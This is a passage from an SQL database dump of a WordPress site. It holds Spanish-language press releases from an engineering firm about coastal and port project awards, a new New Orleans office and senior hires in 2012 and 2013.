19:22:53','','David Huchel-Original','','inherit','open','open','','david-huchel-original','','','2014-02-17 19:22:53','2014-02-17 19:22:53','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2014/02/David-Huchel-Original.jpg',0,'attachment','image/jpeg',0),(2814,1,'2014-02-17 19:23:04','2014-02-17 19:23:04','','Jerry Neal_052412_DutraGroup','','inherit','open','open','','jerry-neal_052412_dutragroup','','','2014-02-17 19:23:04','2014-02-17 19:23:04','',0,'http://moffattnichol.com/spanish/wp-content/uploads/2014/02/Jerry-Neal_052412_DutraGroup.jpg',0,'attachment','image/jpeg',0),(2815,1,'2013-12-23 18:07:04','2013-12-23 18:07:04','<div class=\"content_faq\">\r\n<h1>comunicados de prensa</h1>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"21\">Moffatt &amp; Nichol Se Destaca Con Una Mención Honorífica En La Competencia De Diseño “Por Un Rockaway Revivificado” (FAR ROC) En New York</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/FAROC-cap.jpg\" alt=\"\" width=\"500\" height=\"374\" /></a>\r\n\r\nLONG EACH, CA. Diciembre 17, 2013 – Como parte de un equipo, Moffatt & Nichol recientemente obtuvo la mención honorífica en la competencia internacional de diseño FAR ROC, con su plan de renovación de 80 acres en Arverne East en Rockaway, un comunidad costera fuertemente golpeada por la super tormenta Sandy más de un año atrás. \r\n\r\nMoffatt & Nichol fue el líder de la ingeniería costera para un equipo de 17 miembros dirigidos por Mithūn - sede en Seattle, Washington. La propuesta del equipo ofreció siete pasos para un sitio flexible y sostenible, que en el futuro sea capaz de resistir cualquier devastador desastre natural como lo fue Sandy. La idea comenzó con rodear el actual patrón de la tierra; expandir las fronteras; elevar las zonas de desarrollo; extender la infraestructura en fases completas; dotar de un distrito maestro; mejorar y reavivar la comunidad existente y preparar para cambios a largo plazo. \r\n\r\nLas comunidades costeras como Arverne East sufrieron algunos de los peores daños por la tormenta Sandy. Sin embargo, comunidades costeras cercanas como Arverne by the Sea se mantuvieron bastante bien gracias a drenajes pluviales mejorados, sitios elevados e infraestructuras fuertes, lecciones que Moffatt & Nichol incorporó en el plan a largo plazo para la costa de Arverne East. La propuesta incluyó la ampliación de la playa, veredas, mejoramiento de dunas, una explanada elevada y una forma urbana convexa. \r\n\r\n“Este esfuerzo fue único en el sentido de que el equipo desarrolló un plan creativo que consideró las incertidumbres para las futuras elevaciones del nivel del mar, aumento de la frecuencia de las tormentas y aumento de la densidad urbana en una solución práctica que es viable, financiable, y asegurable”, dijo Robert Sloop, Gerente de Proyecto Costero para el equipo de Moffatt & Nichol. La propuesta de diseño fue seleccionada entre 117 opciones de más de 20 países. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"20\">Moffatt &amp; Nichol Recibe Premio ACEC/NC Award Por Diseño De Sistemas De Manejo De Aguas Pluviales De La Whalehead Subdivision</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\"><img title=\"\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/ACEC.jpg\" alt=\"\" width=\"500\" height=\"400\" /></a>\r\n\r\nRALEIGH, NC, Diciembre 16, 2013 – Moffatt & Nichol recibió el Premio Honorífico por Excelencia en la Ingeniería en la categoría agua / y aguas residuales por el diseño del sistema de manejo de agua residual de Whalehead Subdivision en el Condado de Currituck, Carolina del Norte, premio otorgado por el American Council of Engineering Companies, Carolina del Norte (ACEC/NC).\r\n\r\nMoffatt & Nichol proporcionó el diseño preliminar y final, documentos de construcción y administración limitada de la construcción, para el desarrollo en fases de un sistema de disminución del nivel freático. El sistema consiste en el bombeo de las aguas infiltradas a través de tuberías que llegan a las lagunas de bioretención, que posteriormente fluyen hacia Currituck Sound. Este estudio implicó la planeación maestra de las aguas pluviales, reemplazando las calles existentes con veredas y cuencas de bioretención con vegetación propia del lugar. También incluyó la instalación de tuberías de drenaje debajo de las cuencas y el bombeo de agua desde las tuberías de drenaje hacia una red de tuberías de impulsión que conducían hacia lagunas adyacentes a Currituck Sound.  \r\n\r\n“Moffatt & Nichol se siente honrado en haber contribuido con este proyecto dirigido a la comunidad”, dijo Timothy Reid, Vice Presidente de Moffatt & Nichol. “Estamos orgullosos de haber sido socios del Condado de Currituck y de los residentes de Whalehead en este innovador sistema de infiltración y bombeo,  uno de los primeros en su clase en Carolina del Norte. Este reconocimiento de ACEC/NC es un verdadero honor”. \r\n\r\nLa comunidad se beneficia con este proyecto primero a través de la reducción de las frecuentes y molestas inundaciones y la eliminación de inundaciones de larga duración después de fuertes lluvias. La remoción y reemplazo de la calle con veredas y áreas naturales también sirvió para embellecer y proveer una solución ecológica. La comunidad ha acogido el sistema que ofrece acceso público al mar y que también es una atracción, en lugar de una solución convencional.\r\n\r\nEl sistema se ha desempeñado bien durante varios huracanes y temporales del noreste y los residentes están listos para recibir las fases adicionales, comentó  Eric Weatherly, ingeniero de Currituck County. \r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"19\">Moffatt &amp; Nichol Abre Nuevas Oficinas En El Centro De New Orleans</h3>\r\n\r\nNEW ORLEANS, LA. Diciembre 12, 2013 – Moffatt & Nichol recientemente abrió una nueva oficina en el Pan American Building en el centro de New Orleans. Como complemento a la actual oficina de la firma en Baton Rouge, la integración de New Orleans constituye la trigésima oficina para esta firma internacional de ingeniería.\r\n\r\nBajo el liderazgo de Jonathan Hird con el cargo de Líder de Unidad de Negocios y Vicepresidente Asociado, los servicios profesionales de la firma en Luisiana se expanden de servicios de ingeniería costera a puertos intermodales, terminales marítimas, manejo de graneles, inspección y rehabilitación.  La firma ha tenido presencia en Luisiana desde 2001.\r\n\r\n“A través de contrataciones estratégicas y transferencias internas clave, nuestro equipo laboral de Luisiana ha crecido para incluir ingenieros costeros, civiles, hidráulicos, estructurales y mecánicos altamente capacitados y estamos creciendo rápido”, comentó el Sr. Hird. Estamos orgullosos de continuar sirviendo nuestros clientes locales con esta capacidad ampliada. \r\n\r\nUbicado en la ribera del río Mississippi, New Orleans es un centro de transporte crucial y un centro de distribución para el comercio que se mueve por agua. La nueva oficina servirá como instalación clave para suplir las necesidades de los clientes de Moffatt & Nichol localmente y a nivel mundial. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"18\">PhD Gerald McCrain se integra a Moffatt & Nichol como especialista ambiental Senior</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\"><img title=\"Gerald McCrain\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/Gerald.jpg\" alt=\"\" width=\"130\" height=\"182\" /></a>\r\nRaleigh, Carolina del Norte. Diciembre 5, 2013 – Moffatt & Nichol le da la bienvenida a Jerry McCrain, para ejercer el cargo de especialista ambiental senior en nuestras oficinas de Raleigh. El doctor McCrain aporta más de 38 años de continua y progresiva experiencia en el campo, al igual que su pasión por el manejo ambiental. Ha colaborado con la planeación y manejo de importantes proyectos ambientales para el Departamento de Transporte de Carolina del Norte, al igual que para oficinas federales, del estado y agencias locales, aportando su experiencia a numerosos análisis de cuencas, humedales y estudios ambientales. También ha trabajado extensamente con el Triangle Transit Authority, con la Agencia de Protección del Ambiente y con el Programa de Mejoras al Ecosistema de Carolina del Norte. \r\n\r\nSus servicios ambientales más frecuentes para proyectos de transporte han incluido administración de proyectos, planeación estratégica, procesos y cumplimientos de regulaciones ambientales tales como el National Environmental Policy Act (NEPA), adquisición y cumplimiento de permisos, apoyo y asistencia a políticas y programas, evaluación funcional, evaluación de sitio, estudios de comunidad (humedales y terrestres), delineación, restauración y mitigación, y coordinación con agencias federales, estatales y locales. \r\n\r\nEl Dr. McCrain se describe como un facilitador en procesos en los que existen fuertes opiniones en ambos lados. “Creo en hacer las cosas de la manera correcta sin comprometer otros aspectos de nuestra vida”, comentó. “Debe haber un enfoque de “amplio espectro” para integrar la ciencia y la ingeniería. Moffatt & Nichol comparte esta visión y estoy orgulloso de sumarme a este equipo”.\r\n\r\nEl Dr. McCrain obtuvo su título de Maestría en Ciencias Botánicas en North Carolina State University (NCSU). También posee un doctorado en Manejo de Recursos del NCSU. Sus afiliaciones profesionales incluyen la Sociedad de Científicos de Humedales, la Academia de Profesionales Ambientales Certificados y la Sociedad de Investigación Científica Sigma Xi.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"17\">Kerry Simpson se une a Moffatt &amp; Nichol</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\"><img title=\"Kerry Simpson\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/12/kerrysimpson.jpg\" alt=\"\" width=\"154\" height=\"214\" /></a>\r\nLONG BEACH, CA, Diciembre 3, 2013 – Moffatt & Nichol se complace en anunciar que el ingeniero Kerry Simpson se une a nuestra firma como miembro clave para la práctica de terminales marítimas. El Sr. Simpson tiene más de 23 años de experiencia enfocada en la planeación, análisis y diseño de terminales portuarias, incluyendo terminales ferroviarias y de contenedores. Ha trabajado extensamente con autoridades portuarias, compañías navieras, operadores de terminales, compañías ferroviarias y proveedores de equipos y sistemas. Su experiencia abarca desde planeación conceptual hasta la culminación de la construcción y ha realizado análisis y planeación para numerosas terminales de contenedores, incluyendo patios de almacenaje, patios de ferrocarril intermodal, garitas, edificios y seguridad en sitio. Ha estado involucrado en la planeación y diseño de numerosas terminales con un rendimiento anual superior a los 2,000,000 de TEUs y posee amplios conocimientos en diseño, diversos modos operativos para terminales y todo tipo de equipo para manejo de contenedores. \r\n\r\n“La amplia y profunda experiencia de Kerry en planeación portuaria, análisis y diseño es una valiosa adición a nuestras capacidades integradas” comentó Richard Steinke, líder de la práctica de terminales marítimas para Moffatt & Nichol. “Estamos contentos de tenerlo a bordo para proveer apoyo a nuestros clientes a nivel mundial”.\r\n\r\nEl señor Simpson obtuvo su título de maestría en Ingeniería Civil en California State University y su título de licenciatura en Ciencias Oceanográficas en Humbold State University. Es también miembro activo de Sociedad Americana de Ingenieros Civiles.\r\n\r\nSobre su transición a Moffatt & Nichol, el Sr. Simpson comentó: “esta es una gran oportunidad de participar en los futuros emprendimientos de Moffatt & Nichol y de continuar desarrollando puertos de primera clase alrededor del mundo. Estoy orgulloso de sumarme a este equipo”. \r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"16\">Moffatt & Nichol da la bienvenida a Olie Abbamonto como Directora de Finanzas</h3>\r\n<a href=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\"><img title=\"Olie Abbamonto\" src=\"http://www.moffattnichol.com/wp-content/uploads/2013/11/Olie-Abbamonto_Headshot.jpg\" alt=\"\" width=\"200\" height=\"280\" /></a>\r\nLONG BEACH, CA, noviembre 12, 2013 – Moffatt & Nichol se complace en anunciar que Olie Abbamonto se une a la firma como Directora de Finanzas. La señora Abbamonto posee más de 20 años de experiencia en manejo financiero, planificación estratégica y contabilidad con firmas internacionales, con experiencia en implementación de Six Sigma. \r\n\r\nEn su papel como Directora de Finanzas, la señora  Abbamonto se encargará de supervisar las responsabilidades del día a día de la planificación, implementación, administración y control de todas las actividades financieras de la empresa. Previo a su integro a Moffatt & Nichol, la señora Abbamonto fue Vice Presidenta de Finanzas y Directora de Finanzas en Cardno ERI, una firma consultora ambiental, subsidiaria de Cardno, donde se desempeñó en comités domésticos y globales. Anteriormente con Mazda North American Operations la señora Abbamonto fue totalmente responsable del desarrollo e implementación del programa Six Sigma para las operaciones de la firma en  de América del Norte. \r\n\r\nLa señora Abbamonto es egresada de Ain Shames University en Cairo, Egipto. Es también miembro activa de Financial Executives International, y se ha desempeñado como miembro de la directiva. Este año fue nominada como Jefa de Finanzas del año para el Business Journal del condado de Orange.\r\n</div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"15\">Moffatt & Nichol recibe el Premio COPRI 2013 por el proyecto Port Pavilion en Broadway</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\"><img title=\"Port Pavilion en Broadway Pier\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Port-Paviliion-at-Broadway-Pier-No.-2.jpg\" alt=\"\" width=\"433\" height=\"270\" /></a>\r\nSAN DIEGO, CA, septiembre 27, 2013 – La Sociedad Americana de Ingeniería Civil, Instituto de Costas, Océanos, Puertos y Ríos (COPRI) otorgó a Moffatt & Nichol el Premio 2013 a la Excelencia en Proyectos, Categoría Proyecto Pequeño, por el Port Pavilion en Broadway Pier, del Puerto de San Diego. \r\n\r\nEste complejo trabajo rehabilitó un muelle histórico de 1919 y estableció un flexible espacio público frente al mar que hace la doble función de lugar de encuentro y terminal de cruceros.  Moffatt & Nichol trabajó como ingeniero estructural exclusivo para el rediseño del muelle y la adecuación sísmica, y como ingeniero estructural para la estructura apoyada en pilotes, la cual recibió la certificación de Oro por Liderazgo en Energía y Diseño Ambiental. El proyecto ha recibido seis galardones desde 2011, incluyendo el Premio de Mérito a la Excelencia en Ingeniería otorgado por ACEC, Capítulo California. \r\n\r\n“Desde una perspectiva de ingeniería, Port Pavilion en Broadway Pier fue un proyecto técnicamente difícil y de alta visibilidad. El puerto confiaba en las capacidades especializadas y el apoyo de Moffatt & Nichol, desde el inicio del diseño hasta la finalización de la construcción. La singular capacidad de ingeniería estructural para edificaciones de frente de mar de la firma fue fundamental para el éxito del proyecto”, expresó Mark McIntire, Gerente de Proyecto del Puerto de San Diego.\r\n\r\nA través de los 5 años de evolución del proyecto, el equipo de diseño enfrentó retos que incluyeron ajustar el cronograma del proyecto con permisos ambientales, construcción pesada para un muelle en ambiente intermareal. La reutilización adaptativa y estratégica de las estructuras existentes produjo resultados con beneficios a largo plazo, en términos de  costos, cronograma y diseño. \r\n\r\n“La demolición de los muelles existentes y la construcción de una estructura de reemplazo hubiese sido muy cotosa y hubiese tomado mucho tiempo. Además, el proceso de demolición hubiese creado una gran cantidad de desechos de construcción”, comentó Matthew Martínez, Gerente de Proyecto de Moffatt & Nichol. “Como una alternativa al reemplazo de la estructura que data de 1913, se utilizó un proceso adaptativo de re-utilización para modernizar la estructura histórica con el fin de ser reutilizada en este proyecto”. Se hicieron pruebas bajo el nivel del agua de los pilotes que datan de 1930, se encofraron los pilotes de 1913 y se implementó un sistema de aislamiento con base sísmica. Adicionalmente la incorporación de una capa estructural permite a la plataforma del muelle soportar los requerimientos del tráfico moderno. \r\n\r\nEl nuevo Port Pavilion en Broadway Pier representa un exitoso balance entre beneficios económicos y un enfoque de diseño ambientalmente consciente que realza la dinámica y diversa zona costera del centro de la ciudad. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"14\">James Beaver se integra a Moffatt & Nichol como director de Servicios Comerciales para Marinas</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\"><img title=\"James Beaver\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/James-Beaver.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\nLONDRES, REINO UNIDO, septiembre 23, 2013 – James Beaver se une a la oficina de Moffatt & Nichol Londres como Director de Servicios Comerciales para Marinas, bajo la práctica de Desarrollo Costero Urbano  y Marinas. El señor Beaver, anteriormente Director de Operaciones de Camper & Nicholson Marinas, tiene más de 24 años de experiencia con operaciones de marinas, nuevos desarrollos, redesarrollos, financiación y debida diligencia. También tiene extensa experiencia en el desarrollo y arrendamiento de inmuebles relacionados con marinas. \r\n\r\n“James trae a Moffatt & Nichol una increíble reputación y habilidades, al igual que amplia experiencia en la planificación y evaluación del mercado para orientar sobre el perfil potencial de demanda para cualquier marina, a través de la consultoría operativa y la puesta en marcha de la instalación”, comentó Robert Nathan, PE, Vicepresidente Senior de Moffatt & Nichol y líder de la práctica de Desarrollo Costero Urbano y Marinas. “Estamos muy contentos que esta experiencia esté disponible para ofrecer apoyo los intereses de nuestros clientes en el rápido crecimiento del mercado de puertos deportivos y estructuras de frente de mar, desarrollando marinas de alto nivel e inmuebles relacionados”.\r\n\r\nEn anteriores funciones, el señor Beaver fue miembro líder de un equipo senior responsable del desarrollo de una marina de 600 puestos de atraque y  operaciones de almacenamiento en seco en Portland, Dorset, Reino Unido, el cual fue el lugar sede para eventos de navegación para las Olimpiadas y para los Juegos Paralímpicos Londres 2012. Desarrolló un papel administrativo en el re-desarrollo y construcción de East Cowes Marina en Isle of Wight, Reino Unido. Recientemente, James dirigió el equipo administrativo senior en colaboración con Yas Marina, sede del Grand Prix Formula 1TM de Abu Dhabi. \r\n\r\nSobre su transición a Moffatt & Nichol, el señor Beaver afirma que, “estoy complacido de unirme a una firma con tan sobresaliente reputación. Es una gran oportunidad poder participar en los emprendimientos futuros de Moffatt & Nichol y continuar desarrollando marinas de primera clase alrededor del mundo”. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"13\">Proyecto Tampa Gateway Rail Terminal recibe altos honores en la Bahía de Tampa</h3>\r\n<a href=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\"><img title=\"Tampa Gateway\" src=\"http://moffattnichol.com/spanish/wp-content/uploads/2013/10/Tampa-Gateway.jpg\" alt=\"\" width=\"400\" height=\"266\" /></a>\r\nPremiación Anual al Futuro de la Región del Concejo Regional de Planeación\r\n\r\nTAMPA, FLORIDA, julio 18, 2013 – Tampa Gateway Rail Terminal, un proyecto de US$11 millones de colaboración conjunta del Puerto de Tampa, fue galardonado con el Premio Jr. de Distinción Charles McIntosh, durante la Vigésima Primera Premiación Anual al Futuro de la Región, del Concejo Regional de Planeación de la Bahía de Tampa.\r\n\r\nEl Premio Jr. de Distinción Charles A. McIntosh fue presentado al proyecto por su demostración de una fuerte visión regional y excelencia en las categorías de servicio comunitario, ambiental y de infraestructura. Un panel independiente evaluó proyectos basados en los beneficios a la calidad de vida regional, beneficios al medio ambiente, innovación, rentabilidad y capacidad de continuar el impacto y beneficio regional.  El proyecto generó conectividad intermodal sin precedentes al Puerto de Tampa, el cual sirve como motor económico crucial, generando aproximadamente 100,000 empleos y US$8 millones en impacto económico anual. La instalación no sólo permite cuantiosos oportunidades de comercio que no estaban disponibles antes, sino también contribuye al incremento del etanol, disminuyendo las emisiones de CO2 y reduciendo la dependencia en fuentes externas de energía. \r\n\r\n“Estamos muy complacidos que nuestro compromiso con desarrollar el Puerto de Tampa en un hub intermodal de clase mundial y esta importante asociación estratégica han sido reconocidas a tan alto y prestigioso nivel,” dijo Paul Anderson, CEO y Director del Puerto de Tampa.  \r\n\r\nEl Gateway Rail es la más reciente fase de un plan maestro de mejoras a una instalación de 188 acres para contenedores que Moffatt & Nichol está liderando. Moffatt & Nichol ofrece servicios profesionales de ingeniería y consultoría que incluyen la planeación, diseño, documentos de construcción, administración de proyecto y apoyo a la construcción. El proyecto se completó dentro del cronograma y el presupuesto. \r\n\r\n“Moffatt & Nichol se siente orgulloso de ser parte de este proyecto integral en la Bahía de Tampa”, comentó Michael Bruce, PE, Gerente de Proyecto de Moffatt & Nichol. Este reconocimiento por parte del Concejo Regional de la Bahía de Tampa es un testimonio de la visión y el compromiso con la excelencia del Puerto de Tampa. \r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"1\">Shaun McFarlane se une a la empresa para dirigir las operaciones en Alaska</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\"><img title=\"Shaun McFarlane\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/shaunmcfarlane.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida al ingeniero Shaun McFarlane, quien se integra a Moffatt & Nichol con 23 años de variada experiencia en ingeniería de frentes costeros obtenida en muchos proyectos en Alaska y a lo largo de la costa oeste de los Estados Unidos.\r\n\r\nLa experiencia del ingeniero McFarlane incluye proyectos marítimos y costeros nacionales e internacionales para industrias privadas y públicas y para agencias gubernamentales federales, estatales y municipales. Sus antecedentes como gerente de proyecto y como ingeniero jefe/principal de frentes costeros se relacionan con una gama de servicios, desde la selección del sitio hasta el planeamiento conceptual y la gestión de autorizaciones, y desde el diseño final hasta la gestión de la construcción. Sus antecedentes y su experiencia se ajustan perfectamente a su función como Director de la Unidad de Negocios de la oficina de Moffatt & Nichol en Anchorage. Él se desempeñará como el representante de la empresa en Alaska y trabajará con importantes líderes del sector y clientes para brindar la renombrada cartera de servicios de la compañía a algunos de los climas marinos más desafiantes y ambientes más sensibles en el mundo.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"2\">Catherine Fritter se une a Moffatt & Nichol para dirigir la oficina de Vancouver</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\"><img title=\"Catherine Fritter\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/07/DSC02051-1.jpg\" alt=\"\" width=\"214\" height=\"240\" /></a>\r\n\r\nLONG BEACH, CA, 30 de julio, 2012— Moffatt & Nichol se complace en dar la bienvenida a la ingeniera Catherine Fritter, como la Directora de la Unidad de Negocios de la empresa en la oficina de Vancouver, Columbia Británica. Antes de unirse a Moffatt & Nichol, la ingeniera Fritter trabajó con Ausenco Sandwell, donde se desempeñó como gerente del Departamento de Automatización y Electricidad.\r\n\r\nLa ingeniera Fritter tiene una gran experiencia en la gerencia de departamentos y proyectos, planeamiento comercial y estratégico y administración de cuentas de clientes. Su experiencia en liderazgo y sus talentos técnicos serán un valioso aporte para el equipo de la empresa en Vancouver, donde dirigirá un grupo de ingenieros profesionales, gerentes de proyectos y expertos en frentes costeros.\r\n\r\nLa ingeniera Fritter fue nombrada recientemente al Consejo de directores de ACEC y presta servicios como directora designada para el capítulo de Columbia Británica de la organización. Ella es ingeniera profesional en Canadá y recibió su diploma de pregrado en ingeniería eléctrica en la Universidad de Columbia Británica.\r\n\r\n</div>\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<div class=\"press-release-para\">\r\n<h3 id=\"3\">Richard Steinke dirigirá la práctica portuaria de Moffatt & Nichol</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010.jpg\"><img title=\"Steinke Final 010\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Steinke-Final-010-214x300.jpg\" alt=\"\" width=\"214\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de mayo, 2012— Moffatt & Nichol anunció hoy que Richard D. Steinke, anterior Director Ejecutivo del Puerto de Long Beach, se ha unido a la empresa como Jefe de Práctica Portuaria. En esta función, sus antecedentes y su experiencia fortalecerán la presencia y reputación de la empresa como el líder mundial en el planeamiento y diseño de terminales marítimos.\r\n\r\n“Dick aporta una increíble y diversa experiencia y conocimiento del sector, junto con el desarrollo, la gestión y la implementación de iniciativas estratégicas que afectan la operación de las instalaciones marinas. Nos complace sobremanera contar con tal experiencia para apoyar el crecimiento estratégico de Moffatt & Nichol y para proporcionar valor a nuestros clientes”, dijo el Presidente de la compañía, Eric Nichol.\r\n\r\nDespués de 22 años de trabajo en el Puerto de Long Beach, Steinke se retiró de su cargo de 14 años como Director Ejecutivo en 2011, dejando un legado de innovación. Mientras estuvo a su cargo, el Puerto de Long Beach aseguró su posición competitiva entre los primeros puertos del mundo, se destacó como líder en seguridad portuaria después del atentado del 11 de septiembre, y fue pionero en la política de puerto ecológico de 2005 y su premiado programa \"Camiones Verdes\". Experto en desarrollar sociedades de colaboración, Steinke guió al puerto en la obtención de la aprobación para lanzar el trascendental proyecto de redesarrollo del Middle Harbor del puerto ($1000 millones), y el proyecto de reemplazo del puente Gerald Desmond ($950 millones).\r\n\r\n“Es emocionante unirse a una empresa con una reputación tan extraordinaria. Esta es una gran oportunidad de participar en los futuros cometidos de Moffatt & Nichol, a medida que la compañía se proyecta sobre su largo historial de éxitos y expande su posición global,” señaló Dick Steinke.\r\nLíder en la industria portuaria, Steinke ha representado la U.S. West Coast Collaboration, una sociedad de los puertos de la costa oeste y los principales ferrocarriles del oeste, y se ha desempeñado como Presidente de la Asociación Americana de Autoridades Portuarias, una alianza de más de 150 autoridades portuarias de los Estados Unidos, Canadá, el Caribe y América Latina.\r\n\r\nAntes de unirse al Puerto de Long Beach, Steinke trabajó cinco años como funcionario responsable de los activos aeroportuarios en el Aeropuerto internacional de Stapleton en su nativo Denver, Colorado. Se graduó en el Chadron State College de Nebraska y realizó estudios de postgrado en la Universidad de Colorado.\r\n\r\n&nbsp;\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"4\">Mark Faeth se une a la oficina de Nueva York de Moffatt & Nichol como Vicepresidente</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth.jpg\"><img class=\"alignnone size-medium wp-image-2465\" title=\"Mark Faeth\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Mark-Faeth-200x300.jpg\" alt=\"\" width=\"200\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 30 de marzo, 2012— Moffatt & Nichol le da la bienvenida al ingeniero Mark Faeth, como Vicepresidente. Radicado en las instalaciones de la empresa en Nueva York, él se une a Moffatt & Nichol con 33 años de variada experiencia en ingeniería marítima y gerencia de proyectos. En su nueva función, el ingeniero Faeth ampliará la presencia marítima de la empresa en apoyo de las prácticas de puertos, energía y frentes de mar urbanos en toda la compañía.\r\n\r\nAnteriormente se desempeñó como Vicepresidente Principal de Halcrow Inc., en donde sus responsabilidades incluían la supervisión y dirección de proyectos importantes en su unidad de negocios marítimos, y también trabajó como Director de Operaciones y Director Comercial para sus operaciones en los EE. UU. Antes de su adquisición por Halcrow en 2005, él fue Socio Principal de la empresa Han-Padron Associates.\r\n\r\nEl ingeniero Faeth ha dado soporte a clientes importantes, entre ellos la Marina de EE. UU., Abu Dhabi Ports Company y ExxonMobil. Tiene un diploma de postgrado en ingeniería estructural del Instituto Politécnico de la Universidad de Nueva York, y entre sus áreas específicas de experiencia profesional figuran el análisis estructural y el diseño de instalaciones marítimas en áreas cercanas a la costa y costa afuera, tecnología de amarre y defensas, y gerencia de proyectos.\r\n<div class=\"followus\"><a title=\"Volver al principio\" href=\"http://www.moffattnichol.com/spanish/press-releases-2011/#top\">Volver al principio ^</a></div>\r\n&nbsp;\r\n<h3 id=\"5\">Jim Mccluskie se une a Moffatt & Nichol como Director de la oficina de Long Beach</h3>\r\n<a href=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie.jpg\"><img class=\"alignnone size-medium wp-image-2466\" title=\"Jim McCluskie\" src=\"http://www.moffattnichol.com/spanish/wp-content/uploads/2012/01/Jim-McCluskie-199x300.jpg\" alt=\"\" width=\"199\" height=\"300\" /></a>\r\n\r\nLONG BEACH, CA, 13 de marzo, 2012—Moffatt & Nichol se complace en dar la bienvenida a Jim McCluskie como nuevo Director de la Unidad de Negocios de la oficina de Long Beach, California. El ingeniero McCluskie aporta cerca de 30 años de experiencia ejecutiva en el desarrollo de grandes proyectos de infraestructura, con una concentración en los sectores privado y público al tiempo que mantiene gran atención en el desarrollo de negocios y de clientes.\r\n\r\nAntes de unirse a Moffatt & Nichol, el ingeniero McCluskie se desempeñó como Vicepresidente para Engineering & Environmental Consultants, Inc. donde era responsable del desarrollo del plan anual de negocios, de establecer y mantener una presencia en la comunidad y de identificar oportunidades de desarrollo de negocios, además de negociaciones efectivas de contratos, gestión de riesgos y ventas operativas.\r\n\r\nBajo su liderazgo con PBS&J, el ingeniero McCluskie se desempeñó como Vicepresidente Principal y estuvo a cargo de 800 empleados en más de 60 oficinas en Estados Unidos. Su principal experiencia de proyectos incluye el diseño y la gestión del programa para el parque temático de Abu Dhabi en una isla de cerca de 1020 hectáreas con 24 atracciones, así como la evaluación medioambiental y el diseño para el proyecto de transmisión de 3000 megavatios para el parque eólico de Anschutz en Wyoming, por $3 mil millones. Con amplia experiencia en el desarrollo de negocios, la gerencia de operaciones y la ejecución de proyectos, el ingeniero McCluskie aporta su enfoque práctico de liderazgo y su pensamiento estratégico a la empresa y a su equipo.\r\n\r\nEl ingeniero McCluskie es graduado de Lake Superior State, Michigan donde recibió su diploma de pregrado en ingeniería civil.\r\n<div class=\"followus\"><a title=\"Volver al principio\" 